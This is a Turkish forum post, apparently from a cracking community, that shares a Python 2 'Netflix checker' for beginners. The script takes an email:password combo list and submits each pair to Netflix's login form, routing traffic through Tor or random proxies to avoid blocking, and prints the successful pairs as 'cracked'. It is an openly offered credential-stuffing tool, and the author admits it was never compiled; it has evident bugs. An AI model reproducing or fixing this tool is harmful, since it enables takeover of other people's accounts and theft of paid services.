Yeniler için basit netflix bruteforce Python (1 Viewer)

Joined
Apr 13, 2019
Credits
0
Rating - 0%
ilk başlıyanlar genellikle kaynak arayışında bulunuyorlar . Hiç derlemeden yaptım umarım hata yoktur normalde proxy list eklerdim ama baya karışır eğer isteyenlerde aşşağıdaki kodu kullanabilir örnek olarak
Proxy Country
Code:
def proxies(country):
    global currentProxy
    proxyFile = "/root/Desktop/Rolesa/netflix/proxy-"+country+".txt"

    if (path.exists(proxyFile) and path.getsize(proxyFile) > 0):
        lines = open(proxyFile, "r")
        filestream = open(proxyFile, "r")
        randomProxyID = randint(0,sum(1 for row in lines) - 1)
        for proxyID, proxy in enumerate(filestream):
            if (proxyID == randomProxyID):
                currentProxy = proxy
                break
        filestream.close()
    else:
        if (debug):
            print 'No proxies in '+country+' proxy list.\nNo proxy set.'
        currentProxy = ''
Tor python
Code:
import cookielib
import random
import mechanize
import time
import os
class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def main():
        print("-"*70)
        print bcolors.WARNING +  """

        d ss.    sSSSs   d      d sss     sss. d s.   
        S    b  S     S  S      S       d      S  ~O
        S    P S       S S      S       Y      S   `b
        S sS'  S       S S      S sSSs    ss.  S sSSO
        S   S  S       S S      S            b S    O
        S    S  S     S  S      S            P S    O
        P    P   "sss"   P sSSs P sSSss ` ss'  P    P
"""
        print("-"*70)
main()
print bcolors.OKBLUE + ("\nNetflix checker'a hosgeldiniz")

print bcolors.FAIL + ("Kullanimi gormek için '1' e devam etmek için '2' ye enterleyin") + bcolors.ENDC

a  = input("Cevap :")


if a == 1:
        os.system("clear")
        time.sleep(1)
        main()
        print bcolors.ENDC + "Tercihiniz =  1 "
        time.sleep(1)
        print bcolors.OKGREEN + """\n
                Netflix checkeri çalistirdiğiniz dizine combolistinizi yerlestirin program email:password seklinde ayarlanmistir
                Dosya adi sorulduğunda dizine yerlestirdiğiniz combo.txt dosyasinin ismini yaziniz ve bekleyiniz"""

elif a != 1:
        os.system("service tor start") #tor servisini baslattım
        time.sleep(2)
        address= "https://www.netflix.com/tr-en/login/"
        def create_connection(address, timeout=None, source_address=None):
                sock = socks.socksocket()
                sock.connect(address)
                return sock
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #tor'u bağladım
        socket.socket = socks.socksocket
        socket.create_connection = create_connection

        br = mechanize.Browser()
        br.set_handle_robots(False)
        br.addheaders=[('User-agent' , "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; AskTB5.6")]
        br.set_handle_equiv(False)
        br.set_handle_redirect
        cj = cookielib.LWPCookieJar()
        br.set_cookiejar(cj)
        os.system("clear")
        main()
        combo = raw_input("Dosya adiniz > ")
        file = open(combo).readlines()
        for i in file.splitlines():
                b1=i.split(':')
                user = b1[0]
                password = b1[1]
                br = mechanize.Browser()
                br.open("https://www.netflix.com/tr-en/login")
                br.select_form(nr=0)
                br.form['userLoginId'] = user
                br.form['password'] = password
                br.submit()
                if br.geturl() == "https://www.netflix.com/browse":
                         print bcolors.FAIL+str("cracked >> ")
                         print ( user +","+ password )
                elif br.geturl() == "https://www.netflix.com/tr-en/login":
                         print str("Hata >")
                         print (user+","+password)
                         continue
 

Users who are viewing this thread

Top